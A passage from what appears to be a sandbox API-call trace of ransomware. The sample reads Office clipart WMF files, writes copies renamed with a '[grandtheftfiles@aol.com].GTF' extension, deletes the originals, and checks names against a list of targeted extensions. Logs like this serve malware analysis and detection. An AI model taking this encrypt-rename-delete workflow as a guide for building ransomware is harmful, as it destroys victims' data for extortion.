	[0083.465] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x386c, lpOverlapped=0x0) returned 1
	[0083.472] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3870, lpOverlapped=0x0) returned 1
	[0083.474] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.474] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.474] SetEndOfFile (hFile=0x310) returned 1
	[0083.474] CloseHandle (hObject=0x310) returned 1
	[0083.475] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.475] SetEndOfFile (hFile=0x384) returned 1
	[0083.476] CloseHandle (hObject=0x384) returned 1
	[0083.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1
	[0083.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.477] lstrlenW (lpString=".doc") returned 4
	[0083.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString=".docx") returned 5
	[0083.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.477] lstrlenW (lpString=".pdf") returned 4
	[0083.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString=".xls") returned 4
	[0083.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.477] lstrlenW (lpString=".xlsx") returned 5
	[0083.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.477] lstrlenW (lpString=".ppt") returned 4
	[0083.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.477] lstrlenW (lpString=".zip") returned 4
	[0083.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.477] lstrlenW (lpString=".rar") returned 4
	[0083.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString=".bz2") returned 4
	[0083.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString=".7z") returned 3
	[0083.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.477] lstrlenW (lpString=".dbf") returned 4
	[0083.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.477] lstrlenW (lpString=".1cd") returned 4
	[0083.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.477] lstrlenW (lpString=".jpg") returned 4
	[0083.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.478] lstrlenW (lpString=".doc") returned 4
	[0083.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString=".docx") returned 5
	[0083.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.478] lstrlenW (lpString=".pdf") returned 4
	[0083.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString=".xls") returned 4
	[0083.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.478] lstrlenW (lpString=".xlsx") returned 5
	[0083.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.478] lstrlenW (lpString=".ppt") returned 4
	[0083.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.478] lstrlenW (lpString=".zip") returned 4
	[0083.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.478] lstrlenW (lpString=".rar") returned 4
	[0083.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString=".bz2") returned 4
	[0083.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString=".7z") returned 3
	[0083.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.478] lstrlenW (lpString=".dbf") returned 4
	[0083.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.478] lstrlenW (lpString=".1cd") returned 4
	[0083.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0083.478] lstrlenW (lpString=".jpg") returned 4
	[0083.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.479] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.479] lstrlenW (lpString="BL00252_.WMF") returned 12
	[0083.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.479] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4708) returned 1
	[0083.479] CloseHandle (hObject=0x384) returned 1
	[0083.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220
	[0083.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.479] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.479] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.480] GetLastError () returned 0x0
	[0083.480] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1264, lpOverlapped=0x0) returned 1
	[0083.487] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1270, lpOverlapped=0x0) returned 1
	[0083.488] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.488] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.488] SetEndOfFile (hFile=0x310) returned 1
	[0083.488] CloseHandle (hObject=0x310) returned 1
	[0083.490] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.490] SetEndOfFile (hFile=0x384) returned 1
	[0083.491] CloseHandle (hObject=0x384) returned 1
	[0083.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString=".doc") returned 4
	[0083.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString=".docx") returned 5
	[0083.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.492] lstrlenW (lpString=".pdf") returned 4
	[0083.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString=".xls") returned 4
	[0083.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.492] lstrlenW (lpString=".xlsx") returned 5
	[0083.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.492] lstrlenW (lpString=".ppt") returned 4
	[0083.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString=".zip") returned 4
	[0083.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.492] lstrlenW (lpString=".rar") returned 4
	[0083.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString=".bz2") returned 4
	[0083.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString=".7z") returned 3
	[0083.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString=".dbf") returned 4
	[0083.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString=".1cd") returned 4
	[0083.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString=".jpg") returned 4
	[0083.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.492] lstrlenW (lpString=".doc") returned 4
	[0083.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString=".docx") returned 5
	[0083.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.493] lstrlenW (lpString=".pdf") returned 4
	[0083.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString=".xls") returned 4
	[0083.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.493] lstrlenW (lpString=".xlsx") returned 5
	[0083.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.493] lstrlenW (lpString=".ppt") returned 4
	[0083.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.493] lstrlenW (lpString=".zip") returned 4
	[0083.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.493] lstrlenW (lpString=".rar") returned 4
	[0083.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString=".bz2") returned 4
	[0083.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString=".7z") returned 3
	[0083.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.493] lstrlenW (lpString=".dbf") returned 4
	[0083.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.493] lstrlenW (lpString=".1cd") returned 4
	[0083.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0083.493] lstrlenW (lpString=".jpg") returned 4
	[0083.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.493] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.493] lstrlenW (lpString="BL00261_.WMF") returned 12
	[0083.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.494] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=12482) returned 1
	[0083.494] CloseHandle (hObject=0x384) returned 1
	[0083.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220
	[0083.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.494] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.494] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.494] GetLastError () returned 0x0
	[0083.495] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0083.747] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0083.755] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.755] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.755] SetEndOfFile (hFile=0x310) returned 1
	[0083.765] CloseHandle (hObject=0x310) returned 1
	[0083.776] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.776] SetEndOfFile (hFile=0x384) returned 1
	[0083.777] CloseHandle (hObject=0x384) returned 1
	[0083.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString=".doc") returned 4
	[0083.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString=".docx") returned 5
	[0083.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.778] lstrlenW (lpString=".pdf") returned 4
	[0083.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString=".xls") returned 4
	[0083.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.778] lstrlenW (lpString=".xlsx") returned 5
	[0083.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.778] lstrlenW (lpString=".ppt") returned 4
	[0083.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString=".zip") returned 4
	[0083.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.778] lstrlenW (lpString=".rar") returned 4
	[0083.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString=".bz2") returned 4
	[0083.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString=".7z") returned 3
	[0083.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString=".dbf") returned 4
	[0083.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString=".1cd") returned 4
	[0083.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString=".jpg") returned 4
	[0083.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.778] lstrlenW (lpString=".doc") returned 4
	[0083.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString=".docx") returned 5
	[0083.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.779] lstrlenW (lpString=".pdf") returned 4
	[0083.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString=".xls") returned 4
	[0083.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.779] lstrlenW (lpString=".xlsx") returned 5
	[0083.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.779] lstrlenW (lpString=".ppt") returned 4
	[0083.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.779] lstrlenW (lpString=".zip") returned 4
	[0083.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.779] lstrlenW (lpString=".rar") returned 4
	[0083.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString=".bz2") returned 4
	[0083.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString=".7z") returned 3
	[0083.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.779] lstrlenW (lpString=".dbf") returned 4
	[0083.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.779] lstrlenW (lpString=".1cd") returned 4
	[0083.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68
	[0083.779] lstrlenW (lpString=".jpg") returned 4
	[0083.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.779] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.779] lstrlenW (lpString="BL00525_.WMF") returned 12
	[0083.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.780] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=9590) returned 1
	[0083.780] CloseHandle (hObject=0x384) returned 1
	[0083.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220
	[0083.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.780] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.780] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
